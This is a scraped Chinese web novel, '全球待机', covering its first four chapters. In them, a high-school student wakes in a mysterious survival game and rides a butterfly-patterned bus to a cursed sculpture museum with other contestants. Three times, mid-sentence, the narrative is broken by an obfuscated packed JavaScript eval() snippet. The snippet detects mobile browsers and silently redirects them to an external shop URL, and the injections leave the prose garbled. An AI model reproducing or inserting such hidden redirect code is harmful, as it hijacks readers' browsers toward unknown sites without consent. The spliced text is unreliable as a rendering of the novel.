《全球待机》 1. 蝴蝶雕塑馆01 第一卷内测池 -01- “沈铎……呼吸……呼吸……”轻柔的声音自耳畔传来,沈铎猛地睁开双眼,大张开口惊愕地喘气。 像一个濒死的哮喘病人,他不知呼吸了多久,才从窒息状态恢复过来。 麻木的知觉褪去,刺骨的寒意沿着双腿上升,沈铎后知后觉抬起双手,颤抖的五指淅淅沥沥淌下冷水。 视线越过五指,他看见了水中自己的倒影。 这片泛着银色冷光的水阴毒刺骨,他的身体冰冷,想必已经泡了很长时间。 不是冷死,就是淹死,他到底是怎么来到了这样一个杀人夺命的恐怖地方? “嘶……” 沈铎按着疼痛的头,慢慢拼凑起之前发生的事。 他记得很清楚。 他是一个高二的学生,这一天也按照平常的时间来到了学校。 沈铎的成绩并不好,但幸好,家长对他不是很严格,除非他调皮捣蛋真犯了事,否则不会干涉他的学习。 虽说大多时间都在学校混着,但他也不是那种跟老师对着干的犟头,所以校园生活还是挺平静的。 这一天也是。 他坐在倒数第二排,昏昏欲睡好容易捱到了午休时间,兄弟们喊他去吃饭,他挥了挥手让他们自己去,然后倒头就睡。 一睁开眼,就来了这样一个鬼地方。 等等。 那个把他淹在水里的人,不会还在附近吧? 要是看到他没死,会不会过来补刀? 他暗骂一句脏口,也顾不上头痛了,动作极度小心,慢慢越过水向前走去。只是走了很久,都没摸到岸边。 但就算他再小心,两条腿都泡在水里,一走一动难免会带出声响。 “哗……哗……” 寂静中,只听到他重重的心跳和身下荡出的水声。 一圈一圈银色的涟漪向前推去,这里的水质清澈无比。 放在平时,他肯定要夸这白噪音多适合睡觉,可现在,他只要一想到有人可能正在暗中窥视自己,跟随水声定位……想到那人将自己迷晕在水里的冷酷举动,他毫不怀疑对方下一次动手绝对会一刀毙命。 只是他提心吊胆走了很久,都没有等到那要命的一刀。 这是一个好消息。 但坏消息是,他到现在都没走出水潭。 到后来,沈铎都不再警惕周围了。 他绝望地想,对方可能知道这片水域没有尽头,所以才把他扔在了这里,对方笃定他绝对走不出去。 就算不淹死,不冷死,他也迟早会因脱力饥饿死去。 这片无名的银光水域,就是他命中注定的埋骨之地。 ……这片水域,会在哪里呢? 沈铎麻木地搜刮脑海,但都没能从生活的城市顺利定位。如果有这样一片离奇的水域,他,还有他那帮爱玩的兄弟早就来探险了。 就在快要脱力,一头扎进水里的时候,沈铎忽然听见远处响起了一阵怪声。这声音格外空灵,像是许多蝴蝶同时扇动翅膀,沈铎恍惚间还听见了钟声。 以他玩游戏多年的经验来看,这种死亡钟声绝不是什么好兆头。 ——这是他倒进水里的最后一个念头。 - “沈铎……呼吸……记得呼吸……”耳畔又响起了女人轻柔的呼唤,沈铎在冷颤中再次惊醒,过了几秒才发现这一次并不是想象中妈妈的声音,而是喑哑的怪异机械音,正在头顶一遍遍重复着。 甚至它呼唤自己,也不是叫沈铎。 而是:“玩家沈铎,你终于醒了。” 他从水里挣扎着爬起来,震惊地发现,眼前不知何时出现了一道黑色的巨门,巨门像是从这片无边无际的白水中扎根长出,高不见顶,而和他对话的东西,就镶嵌在这道门的正中央。 他可以肯定,在彻底昏死之前,他面前还没有这面黑门。 黑色巨门没有属于门的缝隙,它的庞大,它的材质,还有它古怪的造型,都像是在提醒沈铎,它不属于地球。 沈铎不知道是被打击到了,还是饿昏了头,他现在感觉很飘忽,像是马上要在这个异世空间升天了。 希望升天以后还能回归正常人的生活…… “玩家沈铎,我要提醒你,距离游戏开始不剩多少时间了。” 听到“游戏”,沈铎回了一丝魂,睁开眼看着这颗镶嵌在黑门上的狗头。 狗头被镶在门上和狗头能说话,到底哪个更值得吐槽? 但沈铎现在已经有点能接受了,“什么游戏?”如果是游戏的话,出现什么都是正常的吧。 听到他和自己对话,狗头裂开黝黑的嘴,看似憨厚实则恐怖地对沈铎展颜一笑,“忘了欢迎你,玩家沈铎,欢迎你来到逃生游戏。” “逃生游戏?这是一场游戏?” “是的。” “那你是……?” “我是负责接引你的判官。下生肖之一的狗。” 生肖?十二生肖吗? 沈铎提起精神,仔细看了一眼这只自称判官的狗,发现它的脑袋上居然满是伤口,疤痕都结成了瘤子,在粗糙的肉皮沉甸甸坠着。 判官,掌控生死之人。 但这自称为判官的可怜动物却像被禁锢在此的囚徒,不能动的处境也像是某种残酷的刑罚。而最为可疑的是,他那满是伤痕的狗脸上写尽了讨好神色。 沈铎狐疑:“生肖还分上下?除了你,还有其他生肖吗?” 闻言,那狗头忽然深深看了沈铎一眼,不知道是哪个字眼刺痛了他,一丝没藏好的戾气一闪而过,又变作了温吞,谄媚地朝人类玩家笑着:“自然还有其他生肖,只不过分给你的是我这只狗而已。” 沈铎也没在这个问题上较真很久,“你刚才说游戏要开始了,现在居然不算开始吗?” 他以为这种奇异的空间和会说话的狗已经算是游戏的设定了,毕竟这不可能在现实生活中看到。 判官狗一板一眼地回答:“是的,玩家沈铎,你被选中参加的是逃生游戏内测版,但新手流程和正式服没有区别。” “你需要通关一场游戏,才能从这里离开。” 内测版?正式服? 虽然听得云里雾里,但沈铎喜欢玩游戏,这些熟悉的名词让他的心情平复了很多,甚至旁若无人地摸索起来,意外触发了一块面板。 “哇!” 这面板实在太逼真了! 【玩家:沈铎】 【年龄:17岁】 【所属:地球】 【等级:1级】 【阵营:无】 【异能:尚未觉醒】 【比赛:未参与】 ………… 就像他从前在电影中看到的未来科技,流动着蓝色光泽的面板精细无比,微微透出他脚下的涟漪水痕。 而那些属于他的资料又确确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119776|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实实在面板上闪动着,边缘还有一圈粗糙的花纹,看起来像是古老世纪留下的东西,跟这块高科技面板格格不入,但看得久了,又有一种奇异的美感。 这更像是桌游中会提前发给玩家的角色卡。 沈铎抬起头来,“地球?还有其他星球的人来参与游戏吗?”他第一个想法就是给地理老师打电话,和他一起欢呼世界上真的有外星人。 判官狗咧嘴一笑,“你以后会知道的。” “还有阵营,阵营又是什么?还有异能,是不是超能力……” 不管他问什么,狗头都只有神秘一笑,“你以后会知道的。” 沈铎撇了撇嘴,“游戏什么时候开始?” 那只狗微微正色,“在游戏正式开始之前,我需要提前告知你关于游戏最重要的三项法则,请务必牢记于心。” 机械感的声音回荡在无比空荡的黑天白水间。 “第一,逃生游戏中,玩家生命只有一次。无法复活,无法回档,请务必珍惜。” “第二,本轮游戏为内测版,游戏实际效果以正式服为标准。” “第三,倒计时结束,全球待机来临。” 沈铎笑了,“无法复活?难道还会死吗?” 得知这是一款游戏之后,他就不是很慌张了。 不管怎么说,游戏和现实都是不一样的。 他甚至怀疑,或许当他被淹死在水里以后,睁开眼就会回到现实,只不过现在不能冒险一试罢了。 判官狗也一笑,“新人第一个副本的等级一般会是C或者D,不会有生命危险的,不过,你也可以试一试。” “我作为引导系统,会一直与你同在。” “我只是有点好奇,不会真的去试。” 沈铎心想,他是很尊重每一局游戏的,活下去是为了胜利,所以他会选择拼尽全力活下去。 当他还想再问一下关于第三条中的“全球待机”,一阵突如其来的眩晕感来袭,恍惚间他看见黑色的巨门以消失的形式打开了一条道路,判官狗的声音在耳畔响起,那一丝丝怪异的机械感竟然让他有些心安。 “下生肖,狗,第三千二百九十场游戏,接引地球玩家沈铎,现在开始。” …… 一阵奇异的花香扑鼻而来。 沈铎睁开了双眼。 他已经不在那个奇怪又空旷的空间了,这让他松了一口气,但等看清周围,那口气又缓缓提了起来。 这是一辆奇特的巴士。 椅背涂满绚丽的靛蓝色花纹,一直蔓延到车壁和脚底,花纹极具对称美感,在沈铎脚下是一道一分为二的黑色走道,因为他坐在最后一排,抬高的视角和一览无余的视野让整个车厢惊艳地暴露在他面前。 ——就像一只蝴蝶。 一个惊悚的念头冒出脑海。 中间的黑色走道就像蝴蝶肥大又沉甸甸的肚子,两侧对称的花纹很像一对巨大的蝶翼。窗外不断变化的光影落在花纹上,隐约有了蝶翼正在不断煽动的错觉。 他就像坐在一只活着的、正在喘息的巨蝶身上。 “叮咚。” 沈铎猛地抬头。 报站的电子女声和脑海中系统的声音重叠在一起。 “旅客们,本次线路的终点站为,蝴蝶雕塑馆。” “玩家沈铎,欢迎来到第一个副本,蝴蝶雕塑馆。” 迷离妖魅,周公梦蝶。 现在开始。 2. 蝴蝶雕塑馆02 -02- “一只虫吐丝连,两只虫织茧眠。 三只蝶翩翩舞蓝天。 一个人吐丝连,两个人织茧眠。 三个人梦醒泪欲涟……” 忧伤的歌凄艳反复。 “是谁?” 沈铎看向窗外,不知何时起,浓重的黑雾就隔绝了外界,雾中飘来齐声大合唱,听起来是小女孩,但又不太像,夹杂着“滋滋”的怪响,听起来就像一万只虫子用口器在耳边喑哑鸣叫。 如果是小孩子,为什么会变成这样的声音? 如果是虫子,为什么又能说话? “一个人吐丝连,两个人……” 稚嫩的声音离沈铎越来越近,雾里却还是看不见一个人影。 突然间,歌声戛然而止。 “你的茧呢?” 冷冰冰的,耳边传来口齿清晰的一声质问。 沈铎听得出语气里隐藏的戾气。 他不知道对方所问的茧是什么,但直觉告诉他,不回答进行不下去,于是道:“不在这里。” “不在这里……不在这里……”对方喃喃自语,咽喉中咕叽咕叽地响起怪声,嗬嗬笑着,又开始先前的歌唱。 这一次,歌声远去了。 “一只虫吐丝连……一个人织茧眠……” 沈铎出神听着。 这首歌唱得很有意味。 在唱虫子的部分时,歌声很向往,很憧憬,似乎能想象到长着虫子脑袋的孩童天真烂漫、摇头晃脑。 但到了人的部分,就垂下了脑袋,流出眼泪,真心为其遗憾,好像人才是错的,虫子才是对的。 歌声结束了。窗外的雾慢慢散开,阳光渗入车窗,巴士车离开了结界,驶入人间,慢慢运作了起来。 司机踩离合启动车辆。 广播女声再次甜美地播放: “蝴蝶雕塑馆,这座城市的璀璨明珠,由荣获艺术家终身成就奖的雕塑大师商沅精心打造。自开馆之日起,它便以独特的魅力吸引了无数游客,创下了人流量记录……” “馆内不仅珍藏商沅大师的成名之作——‘破茧’系列,更是汇聚了国内外众多知名艺术大师的杰作……” 女声是循环播放的,显然早就录制好了。 这条线应该是专门的旅游线路,每个站听起来都像是景点的名字,这段女声应该也是为了给车上的游客介绍。 只不过,女声在介绍其他站点时随便几句就带过。 但轮到蝴蝶雕塑馆的时候,却是三十六度无死角仔仔细细宣传,如果雕塑馆是个人,底裤可能都被扒出来了。 蝴蝶……? 他想起了那首歌谣。 沈铎问系统,“为什么不一视同仁?” 系统:“因为雕塑大师姓商。” “商氏集团是本市的商业巨擎,影响力遍布各个领域。这座城市的公交线路就是商沅的父亲投资建设的,本来商家对商沅寄予厚望,是按照家族继承人的标准来培养的,谁知道……他半路跑去玩了泥巴。” “但他玩得很不错啊,都获得终身成就了。” 系统:“正因为取得了成就,所以商家最后还是让商沅认祖归宗了,他从中得到的好处也不少,比如你此刻听到的广告宣传,就是其中之一,只不过……” “只不过?” “只不过是否真像广播说得如此,还得你仔细分辨。” 沈铎撇了撇嘴。 其实不用仔细分辨,光从这辆车的载客量就能看出来,蝴蝶雕塑馆作为隆重登场的终点站,对市民的吸引度实在一般。 这么久了,也就他一个乘客。 沈铎站起身,朝司机走去,想打听些情况。 但那司机用余光瞄了自己一眼,就讳莫如深地转过头去,任凭沈铎如何恳切注视,愣是不再回头。 沈铎心道:嘿,这老头儿。 他索性打起了招呼,“师傅,刚刚路过好几个站,怎么都不停啊?是咱们线路的特色吗?” 司机嘟囔:“又来个不怕死的……” 沈铎没听清,“什么?您大点声。” 司机皱着眉道:“为什么不停,你都上这辆车了,难道还不清楚?今天这辆巴士只负责接人,你是第一个。” 沈铎还要再问,那司机却一副嫌他晦气的样子,“去去去,别耽误我开车。” 沈铎只得回到原来的座位。 他敲了敲系统,“不对啊,你怎么还不给我资料?” 系统愣了一下,“资料?” “这个副本的背景资料啊。” “……” 沈铎作为一个混子学生,业余生活都贡献给了游戏和小说,他自然知道,像他这样的新人玩家在进入一个游戏副本的时候,系统通常会给他一段拉满悬疑度的游戏背景介绍。 逃生游戏。 都逃生了,背景一定也不会安全到哪去。 但是他等了很久,等到都开始自己转悠寻找线索了,系统仍然一言不发,他都想发给对方一个抽椅子走人的表情包——你可真坐得住啊。 系统尴尬地停顿片刻,才道:“……游戏背景的资料是有的,请问需要现在查看吗?” 沈铎:“看看看。” “好的,资料已发送,请在面板内查收浏览。” “请注意,为避免分神,陷入危险境地,当前操作最好在休息时进行……” 和游戏相关的事对沈铎而言都非难事,他很快就摸索上手,不用系统引导,飞快调取了资料。 往下一拉,沈铎啧了一声,信息量还挺大。 但这难不倒他。 他一向知道怎么在大量无用信息中提取关键内容,毕竟游戏争分夺秒,有时候决胜点就在一念之间。 很快,沈铎就梳理好了所有信息。 他抬起头来,缓缓吸了一口仙气。 “我的妈,天崩开局啊。” - 一个月之前,雕塑馆现任主人,也就是商沅的儿子商飞扬发布了一条通知。 “我的父亲商沅是一个伟大的雕塑师,他对艺术的渴求贯穿生命的始终。父亲不幸亡故后,将这间雕塑馆留给了我,希望它能在我的手中重焕生机……可惜,我并没有做到,诅咒缠绕上我的家族,如今我也快要死了。” “我死不要紧,但在九泉之下,一事无成的我又该如何和父亲相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119777|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见?我思来想去,最起码也要实现父亲的遗愿。” “于是我在此,恳求社会各界,为我寻找到一位雕塑天才。” “无论您是男是女,是贫穷还是富有,无论您是青年还是孩童,只要您能来到蝴蝶雕塑馆,在我死之前塑造出最美丽、最具灵魂的作品,实现我父亲的遗愿,我便会将商家全部遗产无偿赠予你……” 要知道,商飞扬没有结婚,膝下无子。 那位得他青睐的雕塑天才,将会成为商氏集团的唯一继承人。 此条公告一经发出,就在全市掀起轩然大波。 随之而来的是数不清的问题。 首先,最重要的一点。 什么才算是最美丽、最有灵魂的雕像,难道只凭商飞扬法眼断定吗?这个评断条件实在抽象。 但就算如此,消息抛入大海之中,难免有人会觉得自己就是那个幸运儿。可是商飞扬的公告刊登了一个月,前去报名的人也寥寥无几,据说掰着手指头都能数得过来。 看到这里的时候,沈铎内心也不禁产生了疑问。 为什么没人报名呢? 原来,这间雕塑馆本身就有“死亡”之称,如今的商飞扬已是第三任馆长,他的爷爷、父亲在接手雕塑馆之后暴毙身亡,死因至今不明。 与此同时,这间雕塑馆还深陷各类灵异闹鬼事件,很长一段时间都是各位猎奇博主的探险素材,但因为陆续有人在场馆附近失踪,到后来也少有人再去了。 再来,最重要的一点。 商家因为几任家主离奇暴毙,传到商飞扬手中的家产已经所剩无几。 虽然坊内常有风言风语,说瘦死的骆驼比马大,但也有可靠的小道消息说,经过商飞扬这一波声势浩大的死前寻人,本就没剩多少的遗产更是被榨干…… 谁会为这点钱拼命呢? 而且还要在死亡雕塑馆度过一段时间,和一个身缠诅咒的家主住在一起? 就为了那个缥缈抽象的美丽雕像? 天知道我能不能造出来,天知道商飞扬会不会选上自己。 …… 因此一个月过去,雕塑比赛仍是无人问津。 约定的时间很快到来,据商飞扬所说,到时他会安排一辆车接送参与者,本来人们还对商家派出什么豪车心生向往,但随着公交巴士的亮相,所有人的心都死了——看来传言果然是真,商家果真没钱可薅了。 市民们都在幸灾乐祸,他们在街头巷尾议论纷纷: “只有脑子被驴踢了的大傻帽才会跑去乘车——!” 在车上的沈铎:“……” 难怪司机都觉得他有病,不会到最后只有他一个人吧? 沈铎嘀咕:“话说我现在是个什么身份,还叫沈铎吗?” 扫了一眼,他还真叫沈铎,年龄也是17,学校居然都是同一个名字:春风中学。 要不是长相略微有些差别,他都要怀疑自己是真人上号了。 那么问题来了。 他这样一个普普通通的学生,为什么会跑来参加雕塑比赛呢? “叮咚,车辆到站了。” 有人来了? 沈铎精神一抖。 3. 蝴蝶雕塑馆03 -03- “哎呦我的天,这什么破车啊。” 一个头发油亮、浑身名牌的男人叼着烟头,朝车厢探进头来,说话时烟圈直突突:“怎么就一个小孩,其他人呢?” 司机看他一眼,“上不上车?” “催什么催,赶着去投胎啊。” 男人慢悠悠上了车,车门却“砰”一声关紧,丝毫不给他装比的时间,他只能连连叫着蹦进车厢。 “你知道我这身衣服多少钱吗你就关门?我告诉你,真要给我扯烂了,用你这辆车都不够给我赔的!” 男人骂了一句,瞥了一眼最后一排坐着的沈铎,又低声嘟囔了一句哪来的毛崽子。 系统见他没有任何反应,问道:“你不去互动吗?” 沈铎:“互动什么?这人身上就写了两个大字。” “哪两个?” “炮灰。” “……” 系统忍不住道:“就算如此,他身上应该还是能问出不少东西的,现如今的你对游戏了解太少了。” 正说着,又一声“叮咚”。 又有人上车了。 这一次是一个二十多岁的男大学生,带着黑框眼镜,穿着灰色卫衣,很有礼貌地对司机道了一声谢谢,转身在中间的名牌哥和最后的沈铎之间扫视一圈。 迟疑片刻后,还是朝离得最近的名牌哥点头问好,“你好,我叫关新杰。” “请问您怎么称呼?” “你谁啊?问了我就得告诉你?” 关新杰碰一鼻子灰也不生气,径直朝最后一排走去,坐在了沈铎前面的座位,扭头道:“你好,我叫……” “关新杰,是吧?”沈铎笑着道:“你们说话,我都听见了,我叫沈铎,在春风中学念高二。” “春风中学?我弟弟就在春风,也念高二。” “这么巧?那我也叫你哥吧……” 后排言谈甚欢,前面却不高兴了。 名牌哥叮铃哐啷又踢又骂,似乎是在骂沈铎没有眼色,他上车的时候跟哑巴一样,到了关新杰就成活人了。 沈铎充耳不闻,“关哥,你看着比我大一点,是大学生吗?” “是啊,我在C大读大二。” “C大啊,那是我梦中情校,你是读什么专业的……” 系统见他终于开始积极交流,颇为欣慰,“幸好你喜欢C大,不然话题还真开展不了。” 沈铎一边和关新杰交流一边说道:“谁喜欢C大啊。” 系统:“……” “他读哪所学校我就喜欢哪所学校,他读什么专业那就刚好是我梦中情专,我这叫薛定谔式的喜爱,随机应变,灵活着呢。” 系统忍不住:“吕凯在骂你。” 沈铎:“吕凯是谁?” “就是穿金戴银那位。” “原来他叫吕凯啊。” 沈铎若有所思:“这种人,就算你一直捧着他,他也能找你的茬,说白了,就是以自我为中心,想人人都围着他转。我能一直围着他转吗?我总有走神的时候,所以还是少碰为妙。” 在这个危机四伏的逃生游戏,比起定时炸/弹的炮灰仔,他更愿意和情绪稳定的人待在一起。 短短一会,沈铎就摸清了关新杰的年龄、专业、家里几口人……除了没问出来他是为什么去蝴蝶雕塑馆的,其他全都知道了。 车内又“叮咚”一声。 三人都朝前门看去,一个阴沉沉、两手插兜的男生上了车。 名牌哥吕凯的眼珠子在他的校服上滴溜转了两圈,朝着后排不友好地吹口哨,“巧了不是,你校友来了。” 沈铎也看见了,上车的男生穿着和他一样的校服。 看手臂的颜色,好像连年级都是一样的。 正犹豫要不要打声招呼,前排的关新杰却像被雷劈一样猛地站起,大声喊道:“关樊,你怎么在这!” 吕凯:“哎呦我的天,你们两个也认识?” 沈铎觉得关新杰实在太有礼貌了,因为他此刻显然已经被气到红温,却还是按下怒气回答别人的问题。 “他是我弟弟,我不知道他要来……关樊,你赶紧给我下去!” 他那寸头断眉、看起来就很难惹的弟弟充耳不闻,车门在他身后徐徐关上,关新杰眼见木已成舟,心中怒气上涌,忍不住骂道:“你知道这是什么地方吗你就敢来……” 他弟弟关樊却径直越过他,一把揪住了沈铎的领子,“你他妈怎么在这?” 吕凯都看愣了,“不是,你们真演戏呢啊?什么爱恨情仇都有?” 沈铎听不见他们的声音了。 关樊的手伸来的一瞬间,就像开启了慢镜头。 他下意识想要躲避,身体却无法动弹,仿佛被如来的五指按住了他这只泼猴,石化时意识更加强烈,脑海涌现出无数片段。 他被定身,似乎只是为了接收原身的过去。 记忆被切割成痛苦的碎片,最为刺目是一大滩溅出的水花,求饶声中显露出关樊狰狞的脸,灭顶的压力随着视网膜上一张大脸兜头而来,强烈的窒息感随之淹没了他,这似乎是原身非常痛苦的一段记忆。 关樊。 春风中学高二年级有名的刺儿头,原身与他交恶是因为一件再小不过的小事。 因为不小心停在了关樊的自行车停放点,原身就在放学后狠狠挨了一顿毒打,之后一个月的时间,他都不敢骑车上学。 关樊会找人专门盯着他的车,只要他的车一进车棚,就难逃厄运。 那一整个月,他放学都在补车轮胎。 就算如此,关樊还是没有解气。 他总是不停找他麻烦,威胁其他学生不许和原身讲话,原身忍无可忍,找到老师狠狠告了一状。 关樊在升旗大会上被公开处刑,在全校师生面前念了一千字的检讨书。 他的同伙在队伍里不服气地吹着口哨。 念完最后一个字,关樊将检讨书插在后腰,比了一个枪的手势,朝着人群中的原身开火,笑眯眯道:“咱们走着瞧。” …… “你小子很会躲啊,不是躲了我很久吗?现在怎么舍得出现了?”关樊阴狠的五官无限放大,沈铎内心涌起一阵陌生的惊愕,很快他便反应过来,这是属于原身的情绪。 原身的灵魂不存在了,但关樊留给他的阴影却刻骨铭心。 沈铎甚至觉得,此刻他麻木的肌肉和僵硬的身躯也是条件反射。 他没想到,在战胜第一个敌人之前,他首先得战胜“自己”。 “关樊,你干什么!” 关新杰武力上敌不过自己弟弟,却能在智力上轻松取胜,他见掰不动关樊的铁手,便动起了脑筋,“你……你既然上了车,就知道这辆车是开往哪里的,说不定比赛已经开始了——” “商馆长就在监控里看着你!你还要这样放肆吗?” 关樊慢慢放开了沈铎的衣领,野兽般的眼神移向自己的哥哥,忽地笑了起来,“你当谁都跟你一样变态啊?老哥。” “我对那堆死东西雕塑不关心,上车只是为了监视你,哥,别给我惹事,让老妈为你担心。” “哎哎,你们。”前面的司机忍无可忍,“要打等到站了再打!” 关樊消停了。 甩出那句话后就在前排坐下。 关新杰一直在对沈铎赔礼道歉,吕凯的目光则在后排来回巡视。 陆续又有两人上车,可能是前面戏剧性太足,这两个人倒是没有多稀奇。 沈铎从窒息感中恢复过来后便开始尝试社交,关樊似乎没见过这样的他,频频投来威胁的视线,但都被关新杰挡了回去。 说实在的,沈铎并不害怕。 他甚至希望这种胁迫的目光多来几回,他想借此驯服体内残余的恐惧。 不过他并不想在此时和关樊起正面冲突,当务之急是先熟悉雕塑比赛的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119778|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参与者。 车上现在有六个人。 C大学生关新杰。 和他交恶的高二混子关樊。 浑身价值不菲名牌的傲慢青年吕凯。 外向的上班族钟莹莹。 温文尔雅的大学教授陈文轩。 以及他自己。 …… “叮咚。” 车门缓缓打开,苍老的咳嗽声响起。 “爷爷。” 一个扎双马尾的小女孩扶着佝偻的老人上了车,他们穿的衣服看起来都很旧,裤子也洗褪了色。 老人更是苍老,手脚都不听使唤,上车都花了好长时间。 吕凯的墨镜折射出傲慢的光,“还是商馆长大气,说没限制就没限制,老弱病残也能赶上这趟车了。” 关新杰和钟莹莹站起来想让座,但离得最近的教授陈文轩已经起身,“老人家,坐我这里吧。” 老人一说话就咳嗽,还是小女孩响亮回答,“谢谢叔叔。” 钟莹莹好奇地探头,“你们也要去参加雕塑比赛吗?” “是呀。爷爷捏泥人捏得特别好,他一准能把奖品搬回家。” 如此童真的话语,好多人都笑了。 钟莹莹笑着道:“但是雕塑和捏泥人还是有一点区别的,何况拿到第一的条件是最有灵魂的雕塑,泥人的话还是有一点……” “你看!” 小女孩双手像花一般旋转,露出一只栩栩如生的泥巴小象,伸长的鼻子几乎触到钟莹莹的鼻尖,她呀了一声往后避开,随着女孩一声惊叫,活灵活现的小象被甩了出去,“啪”一声,在地上碎成了一滩泥块。 “嗬……嗬……” 车内只剩老人急促的呼吸声。 钟莹莹难为情地站起身,“这个……” “尊敬的各位旅客,我们已经行驶到终点站,美丽的蝴蝶雕塑馆就在门外,希望你们享受这次的旅途。” 女声再次响起,在车内甜美播报。 “商馆长已在大厅等候,优先抵达的旅客,将会拥有一次珍贵的选择权哦。” 吕凯猛地起身:“选择什么!” 先前循规蹈矩、有一股淡淡死感的女声,忽然摇身一变,格外神采飞扬。 猝不及防的变化,让听惯她说话的乘客都有些不适应。 可眼下,他们都被女声提到的“珍贵选择权”吸引了。 女声感受到此地蔓延的欲望,笑容更盛,“本次比赛中所要用到的材料,均可优先挑选……” 话未说完,吕凯便率先冲出门去。 开玩笑。 雕塑所要用到的材料,那是会影响到最终成品的好吗! 关樊不甘落后,第二个跳下车。 关新杰喊着他的名字跟了出去。 钟莹莹听着匆匆的脚步声,满脸焦急,目光在地上的泥块和车门外来来回回,最终说了句对不起就跳了下去。 沈铎走到小女孩面前,眯眼看了下外面,才收回视线。 泥巴小象已经被踩得乱七八糟、遍布脚印,沈铎蹲下身,挑起还算完好的部分,一些被吕凯下车时踢到了远处,他刚要伸手,另一只手先将它们捡起。 沈铎抬起头,是那位温和的陈教授。 陈教授很恳切:“你真是个心地善良的孩子。” 不,我只是…… “嘶——啊!我草你大爷——!” 车外不远处,响起嘶吼声。 陈教授惊讶看去,沈铎则慢慢将剩余的泥块捡完,才平静地看过去。 关樊和吕凯居然打起来了。 从他们的站位来看,吕凯差点就成了进馆第一人,眼下被关樊阻拦,当下便窜出天大的火气,被勒得脸红脖子粗还要反击。 两人僵持不相上下,堵在门口,先跑下车的人没有一个进入馆内。 沈铎心想。 挽回天崩开局第一步。 远离暴民。 4. 蝴蝶雕塑馆04 -04- 陈文轩扶着老人,沈铎跟着顾佳佳——就是双马尾小女孩。 迁就着老人的速度,一行人移动得格外缓慢,等走到雕塑馆门口的时候,关樊和吕凯居然还没松开对方的衣领子。 “关樊,你把手松开,不要乱来!” 关新杰倒是一直在劝架,可惜一点用都没有。 钟莹莹跺着脚,不停往里看,听到脚步声回过头,看到他们几人慢吞吞走来,脸瞬间红了。 陈文轩是个古道热肠的人,将老人扶到门口坐下,便去门口帮忙了。 大学教授的口才比起大学生,还是要强上许多,最后好说歹说,让两人同意了投票——一锤定音。 除了关樊给自己投了一票,其余人都选了吕凯。 落选者对自己的哥哥竖了一个中指。 关新杰小声嘟囔:“确实是人家先到,被你硬生生拉回来了,大家的时间都被你耽误了,第二也很好啊……” 关樊很不服气,但不知陈文轩对他低声说了什么,他冷哼一声,放开了手,让吕凯先进去了。 这两人解决之后,后面就很顺利了。 队伍鱼贯而入。 沈铎手插在衣服兜里,走在最后,和所有人都离得很远,一边走一边抬起头,观察着四周。 前方顾佳佳与陈教授的对话仍在传来,“陈叔叔,你跟他说了什么呀?他一下就不生气了。” “我和他说,进门时是第一,不一定能笑到最后。你难道没有赢他的信心?” “唔……然后他就不生气了?” “这个年纪的男孩子好胜心都很强,等你长大就知道了……” 陈教授回过头来,朝落后众人的沈铎招手,“小沈,你到我前面来吧。”他想将自己的名次让出去。 沈铎摇头,“不用了。” 见他专注观察着四周,陈教授笑了笑,“有什么发现吗?” 沈铎:“嗯,算有吧……你看高处。” 这座场馆的设计灵感来自于商沅的成名作——“破茧”系列。 一颗颗茧中,包裹的并非昆虫,而是人类。 他将人类的喜怒哀乐与昆虫的成长形态挂钩,让一个个人类在不同的茧中露出挣扎、兴奋、仁慈、悲哀等神情…… 商沅很迷恋蝴蝶。 他的父亲商国栋也是。 商沅幼年时,父亲就在家中布置了一座巨大的蝴蝶温室。 商沅说,那是一座令人心醉神迷的梦幻宫殿,任何一位艺术家在目睹无数蝴蝶翅膀轻盈起舞的瞬间,都会情不自禁地驻足沉醉。 他希望,来到蝴蝶雕塑馆的每一位客人都能体会到他当时的感受。 因此,这座场馆最大程度上保留了自然天性,以便蝴蝶能够生存。 但考虑到这里是一座雕塑馆,并不是昆虫植物园,商沅还是听取了设计团队的建议,将二者结合起来。 最终亮相的,就是这样一座自然气息浓厚的现代化之地。 雕塑馆门口,倒悬着沉甸甸的树藤。 年久失修,少人驻足,藤蔓无人干扰地生长,如今已是这里缄默的主人。 枝叶如一颗颗绿眼,静静注视着访客。 一群群靛蓝色的蝴蝶,就镶嵌在绿眼之上,宛如深刻的瞳光。 沈铎思索:“这种蝴蝶,和我们巴士车上的装饰很像。” 陈教授笑着道:“小沈不喜欢蝴蝶吗?” 沈铎觉得挺奇怪的。 他只是这么问了一下,陈教授想到哪里去了。 “科斯克鲁蝴蝶——!” 钟莹莹正在卡嚓卡嚓不停拍照:“这种蝴蝶的蝶翼有着深蓝色的花纹,只在潮湿炎热的地方生存。” 